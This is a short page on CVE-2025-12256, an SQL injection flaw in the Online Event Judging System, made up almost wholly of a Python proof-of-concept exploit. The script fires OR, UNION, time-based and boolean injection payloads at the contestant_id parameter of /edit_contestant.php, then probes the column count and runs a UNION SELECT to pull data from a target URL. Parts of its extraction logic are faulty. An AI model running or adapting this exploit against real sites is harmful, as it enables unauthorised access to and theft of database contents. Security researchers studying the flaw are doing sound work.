CVE-2025-12256 code-projects Online Event Judging System SQL注入漏洞

#!/usr/bin/env python3 # CVE-2025-12256 PoC - SQL Injection in Online Event Judging System 1.0 # Target: /edit_contestant.php # Parameter: contestant_id import requests import sys from urllib.parse import urlencode def test_sql_injection(url, target_param): """Test for SQL injection vulnerability""" # Normal request baseline normal_data = {target_param: "1"} try: normal_resp = requests.post(url, data=normal_data, timeout=10) print(f"[*] Normal request status: {normal_resp.status_code}") except requests.RequestException as e: print(f"[!] Normal request failed: {e}") return False # SQL injection test payloads payloads = [ "1' OR '1'='1", # Basic OR injection "1' UNION SELECT 1,2,3--", # UNION-based injection "1' AND SLEEP(5)--", # Time-based blind injection "1' AND 1=1--", # Boolean-based true condition "1' AND 1=2--", # Boolean-based false condition ] print(f"\n[*] Testing SQL injection payloads...") for payload in payloads: test_data = {target_param: payload} try: resp = requests.post(url, data=test_data, timeout=15) print(f"[*] Payload: {payload[:30]}... Status: {resp.status_code}") # Check for time delay (time-based blind injection) if "SLEEP" in payload: elapsed = resp.elapsed.total_seconds() if elapsed >= 4: print(f"[!] Time-based injection confirmed! Delay: {elapsed}s") return True # Check for SQL error messages if "sql" in resp.text.lower() or "mysql" in resp.text.lower() or "error" in resp.text.lower(): print(f"[!] Potential SQL error detected in response") except requests.RequestException as e: print(f"[!] Request failed for payload: {e}") return False def extract_data(url, target_param): """Extract data using UNION-based injection""" # Determine number of columns via ORDER BY for i in range(1, 20): payload = f"1' ORDER BY {i}--" data = {target_param: payload} try: resp = requests.post(url, data=data, timeout=10) if "Unknown column" not in resp.text: print(f"[*] Found {i-1} columns") num_cols = i - 1 break except: continue # UNION SELECT to extract database information union_payload = f"1' UNION SELECT {','.join(['1']*num_cols)}--" data = {target_param: union_payload} try: resp = requests.post(url, data=data, timeout=10) print(f"[*] UNION injection executed") print(f"[*] Response length: {len(resp.text)} bytes") except Exception as e: print(f"[!] Data extraction failed: {e}") def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-12256_poc.py <target_url>") print("Example: python3 cve-2025-12256_poc.py http://target.com/edit_contestant.php") sys.exit(1) target_url = sys.argv[1] param_name = "contestant_id" print(f"[*] CVE-2025-12256 SQL Injection PoC") print(f"[*] Target: {target_url}") print(f"[*] Testing parameter: {param_name}") print("-" * 50) if test_sql_injection(target_url, param_name): print("\n[!] Vulnerability confirmed! Proceeding with data extraction...") extract_data(target_url, param_name) else: print("\n[-] No obvious SQL injection detected") print("[*] Manual verification recommended") if __name__ == "__main__": main()